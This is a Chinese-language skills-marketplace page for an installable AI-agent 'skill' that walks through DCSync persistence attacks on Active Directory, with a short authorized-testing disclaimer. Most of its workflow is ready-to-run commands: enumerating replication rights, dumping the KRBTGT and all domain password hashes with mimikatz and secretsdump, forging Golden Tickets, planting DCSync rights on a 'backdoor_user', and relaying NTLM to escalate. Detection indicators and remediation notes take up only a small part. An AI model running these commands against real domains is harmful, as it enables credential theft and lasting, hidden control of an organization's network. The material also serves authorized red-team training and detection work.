mcpField
C
conducting-domain-persistence-with-dcsync

conducting-domain-persistence-with-dcsync

github.com/mukul975安全35.2k134 次安装8 周前更新
代码仓库

关于 conducting-domain-persistence-with-dcsync

用于评估 Active Directory 中 DCSync 持久化风险的安全测试技能,面向获授权的测试人员。内容涵盖复制权限检查、凭据提取、Golden Ticket 验证及检测证据整理。

主要功能

  1. 01枚举目录复制权限
  2. 02提取域密码哈希
  3. 03创建并验证 Golden Ticket
  4. 04测试 DCSync 权限持久化
  5. 05检查检测指标

适用场景

  1. 01在实验环境审计复制权限
  2. 02在授权测试中评估凭据暴露
  3. 03验证 Golden Ticket 检测控制
  4. 04记录持久化风险与修复建议

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill conducting-domain-persistence-with-dcsync

安装后在 Claude Code 中输入/conducting-domain-persistence-with-dcsync确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
assets/
template.md
references/
api-reference.md
standards.md
workflows.md
scripts/
agent.py
process.py

详细介绍

利用 DCSync 进行域持久化

法律声明: 本技能仅用于经授权的安全测试和教育目的。未经授权对您不拥有或未获得书面许可进行测试的系统使用本技能属于违法行为,可能违反计算机欺诈相关法律。

概述

DCSync 是一种攻击技术,通过滥用 Microsoft 目录复制服务远程协议(MS-DRSR)来冒充域控制器,并向目标 DC 请求密码数据。该攻击由 Benjamin Delpy(Mimikatz 作者)和 Vincent Le Toux 提出,利用了 DS-Replication-Get-Changes 和 DS-Replication-Get-Changes-All 扩展权限。任何拥有这些权限的主体(用户或计算机)都可以复制域中任何账户的密码哈希,包括 KRBTGT 账户。借助 KRBTGT 哈希,攻击者可以伪造黄金票据,实现无限期的域持久化。DCSync 被归类为 MITRE ATT&CK T1003.006,是 APT28(Fancy Bear)、APT29(Cozy Bear)和 FIN6 等 APT 组织使用的一项关键后渗透技术。

使用场景

  • 当开展涉及利用 dcsync 进行域持久化的安全评估时
  • 当遵循相关安全事件的事件响应流程时
  • 当执行计划内的安全测试或审计活动时
  • 当通过动手测试验证安全控制措施时

前提条件

  • 熟悉红队概念和工具
  • 可访问用于安全执行的测试或实验环境
  • 已安装所需依赖的 Python 3.8+
  • 对任何测试活动拥有适当授权

目标

  • 识别 Active Directory 中拥有 DCSync(复制)权限的账户
  • 使用 Mimikatz 或 Impacket 的 secretsdump.py 执行 DCSync
  • 提取 KRBTGT 账户哈希以创建黄金票据
  • 转储所有域用户密码哈希以进行凭据分析
  • 伪造黄金票据以实现持久的域访问
  • 向受控账户授予 DCSync 权限以实现替代持久化
  • 记录攻击链和持久化机制

MITRE ATT&CK 映射

  • T1003.006 - OS Credential Dumping: DCSync
  • T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket
  • T1222.001 - File and Directory Permissions Modification: Windows
  • T1098 - Account Manipulation
  • T1078.002 - Valid Accounts: Domain Accounts

工作流

阶段 1:识别拥有 DCSync 权限的账户
  1. 枚举拥有复制权限的主体:
    # Using PowerView
    Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs |
      Where-Object { ($_.ObjectAceType -match 'Replicating') -and
                     ($_.ActiveDirectoryRights -match 'ExtendedRight') } |
      Select-Object SecurityIdentifier, ObjectAceType
    
    # Using BloodHound Cypher query
    MATCH (u)-[:DCSync|GetChanges|GetChangesAll*1..]->(d:Domain)
    RETURN u.name, d.name
    
  2. 使用 Impacket 的 FindDelegation 或自定义 LDAP 查询:
    # Check with Impacket
    findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1
    
  3. 默认拥有 DCSync 权限的账户:
    • Domain Admins
    • Enterprise Admins
    • Domain Controllers 组
    • 域控制器上的 SYSTEM
阶段 2:DCSync 凭据提取
  1. 使用 Mimikatz(Windows):
    # Dump specific account (KRBTGT for Golden Ticket)
    mimikatz.exe "lsadump::dcsync /domain:domain.local /user:krbtgt"
    
    # Dump Domain Admin
    mimikatz.exe "lsadump::dcsync /domain:domain.local /user:administrator"
    
    # Dump all domain accounts
    mimikatz.exe "lsadump::dcsync /domain:domain.local /all /csv"
    
  2. 使用 Impacket secretsdump.py(Linux):
    # Dump all credentials
    secretsdump.py domain.local/admin:'Password123'@10.10.10.1
    
    # Dump specific user
    secretsdump.py -just-dc-user krbtgt domain.local/admin:'Password123'@10.10.10.1
    
    # Dump only NTLM hashes (no Kerberos keys)
    secretsdump.py -just-dc-ntlm domain.local/admin:'Password123'@10.10.10.1
    
    # Using Kerberos authentication
    export KRB5CCNAME=admin.ccache
    secretsdump.py -k -no-pass domain.local/[email protected]
    
阶段 3:创建黄金票据
  1. 使用 Mimikatz 及提取的 KRBTGT 哈希:
    # Create Golden Ticket
    mimikatz.exe "kerberos::golden /user:administrator /domain:domain.local \
      /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \
      /krbtgt:<krbtgt_ntlm_hash> /ptt"
    
    # Create with specific group memberships
    mimikatz.exe "kerberos::golden /user:fakeadmin /domain:domain.local \
      /sid:S-1-5-21-XXXXXXXXXX \
      /krbtgt:<krbtgt_ntlm_hash> \
      /groups:512,513,518,519,520 /ptt"
    
  2. 使用 Impacket ticketer.py(Linux):
    # Create Golden Ticket
    ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid S-1-5-21-XXXXXXXXXX \
      -domain domain.local administrator
    
    # Use the ticket
    export KRB5CCNAME=administrator.ccache
    psexec.py -k -no-pass domain.local/[email protected]
    
阶段 4:通过 DCSync 权限实现持久化
  1. 向受控账户授予 DCSync 权限以实现持久化:
    # Using PowerView - Add DS-Replication-Get-Changes-All rights
    Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" \
      -PrincipalIdentity backdoor_user -Rights DCSync
    
    # Verify rights were added
    Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs |
      Where-Object { $_.SecurityIdentifier -match "backdoor_user_SID" }
    
  2. 使用 ntlmrelayx.py 自动提升 DCSync 权限:
    # Relay authentication to add DCSync rights
    ntlmrelayx.py -t ldap://DC01.domain.local --escalate-user backdoor_user
    

工具和资源

工具用途平台
MimikatzDCSync 提取、黄金票据创建Windows
secretsdump.py远程 DCSync(Impacket)Linux(Python)
ticketer.py黄金票据创建(Impacket)Linux(Python)
PowerViewACL 枚举与修改Windows(PowerShell)
RubeusKerberos 票据操作Windows(.NET)
ntlmrelayx.py通过中继提升 DCSync 权限Linux(Python)

需要提取的关键哈希

账户用途持久化价值
krbtgt黄金票据创建无限期域访问权限
Administrator直接 DA 访问即时特权访问
服务账户横向移动跨域服务访问
计算机账户白银票据创建服务级模拟

检测特征

指标检测方法
来自非 DC 源的 DrsGetNCChanges RPC 调用对来自异常 IP 的 DRSUAPI 流量进行网络监控
带有 Replicating Directory Changes GUID 的 4662 事件DC 上的 Windows 安全日志(1131f6aa-/1131f6ad- GUID)
带有黄金票据异常的 4624 事件具有不可能 SID 或不存在的用户的登录事件
域根对象上的 ACL 修改5136 事件(目录服务更改)
复制流量激增网络基线偏差监控

验证标准

  • 已枚举具有 DCSync 权限的账户
  • 已通过 DCSync 提取 KRBTGT 哈希
  • 已成功转储所有域凭据
  • 已伪造黄金票据并验证其可用于 DA 访问
  • 已建立 DCSync 权限持久化机制(如果在范围内)
  • 已使用黄金票据验证对域控制器的访问
  • 已使用哈希值和时间戳记录证据
  • 已提供修复建议(双重 KRBTGT 重置、ACL 审计)

评论

支持 Markdown